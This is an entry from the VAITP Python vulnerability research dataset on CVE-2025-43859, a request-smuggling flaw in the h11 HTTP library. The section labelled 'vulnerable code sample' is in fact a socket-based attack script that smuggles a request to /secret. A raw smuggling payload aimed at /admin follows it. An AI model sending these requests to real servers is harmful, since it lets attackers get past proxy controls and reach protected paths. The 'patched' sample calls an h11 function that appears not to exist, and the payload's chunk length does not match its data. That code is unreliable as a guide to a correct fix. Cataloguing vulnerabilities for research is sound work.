VAITP Dataset

← Back to the dataset

CVE-2025-43859

h11 HTTP/1.1 library vulnerable to request smuggling due to line terminator parsing.

  • CVSS 9.1
  • CWE-444
  • Input Validation and Sanitization
  • Remote

h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.

CVSS base score
9.1
Published
2025-04-24
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
h11
Fixed by upgrading
Yes

Solution

Upgrade to h11 version 0.16.0 or higher.

Vulnerable code sample

import h11
import socket

def send_smuggling_request(host, port):
    """
    Sends a crafted HTTP/1.1 request that exploits the h11 chunked encoding vulnerability
    (CVE-2025-43859) present in versions prior to 0.16.0.  This is a simplified example.
    In a real-world scenario, the reverse proxy's behavior is crucial for successful exploitation.
    """

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    # Craft the malicious HTTP request
    request = b"""POST / HTTP/1.1\r
Host: """ + host.encode() + b"""\r
Transfer-Encoding: chunked\r
\r
5\r
AAAAA\n\r
0\r
GET /secret HTTP/1.1\r
Host: """ + host.encode() + b"""\r
\r
"""

    print(f"Sending request:\n{request.decode()}") #Added this for debug

    sock.sendall(request)


    response = b""
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        except ConnectionResetError:
            print("Connection Reset by Peer")
            break

    print(f"Received response:\n{response.decode()}")
    sock.close()


if __name__ == "__main__":
    # Replace 'localhost' and 8000 with your target server's address and port.
    # This code requires a vulnerable reverse proxy in front of an HTTP server
    # for the vulnerability to be exposed.

    target_host = "localhost"
    target_port = 8000  #Example port

    send_smuggling_request(target_host, target_port)

Patched code sample

import h11

def process_chunked_data(data):
    """
    Processes chunked data, strictly validating line endings.

    Args:
        data: The chunked data as bytes.

    Returns:
        The unchunked data as bytes, or None if an error occurs.
    """
    unprocessed_data = data
    output = b""
    while True:
        try:
            chunk_len, terminator_len = h11.util.read_chunk_len(unprocessed_data)
        except h11.RemoteProtocolError:
            print("Invalid chunk length format")
            return None

        if chunk_len is None:
            # End of chunked data
            return output

        chunk_start = terminator_len
        chunk_end = chunk_start + chunk_len

        try:
            chunk = unprocessed_data[chunk_start:chunk_end]
        except IndexError:
            print("Chunk length exceeds data length")
            return None

        output += chunk

        # **Strict line ending validation after each chunk:**
        expected_terminator = b"\r\n"
        actual_terminator = unprocessed_data[chunk_end:chunk_end + len(expected_terminator)]
        if actual_terminator != expected_terminator:
            print(f"Invalid chunk terminator: Expected {expected_terminator}, got {actual_terminator}")
            return None

        unprocessed_data = unprocessed_data[chunk_end + len(expected_terminator):]


# Example Usage: Demonstrating a correct vs. incorrect chunked body
def demonstrate_chunked_parsing():
    # Valid chunked data
    valid_chunked_data = b"5\r\nhello\r\n0\r\n\r\n"
    unchunked_valid = process_chunked_data(valid_chunked_data)
    print(f"Valid chunked data unchunked: {unchunked_valid}")  # Output: b'hello'

    # Invalid chunked data (using just '\n' instead of '\r\n')
    invalid_chunked_data = b"5\nhello\n0\n\n"  #Simulates CVE-2025-43859: lenient parsing of line terminators.
    unchunked_invalid = process_chunked_data(invalid_chunked_data)
    print(f"Invalid chunked data unchunked: {unchunked_invalid}") #Output: None


if __name__ == "__main__":
    demonstrate_chunked_parsing()

Payload

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

10
malicious data\r\n
0\n
GET /admin HTTP/1.1
Host: example.com
\r\n

Cite this entry

@misc{vaitp:cve202543859,
  title        = {{h11 HTTP/1.1 library vulnerable to request smuggling due to line terminator parsing.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-43859},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-43859/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::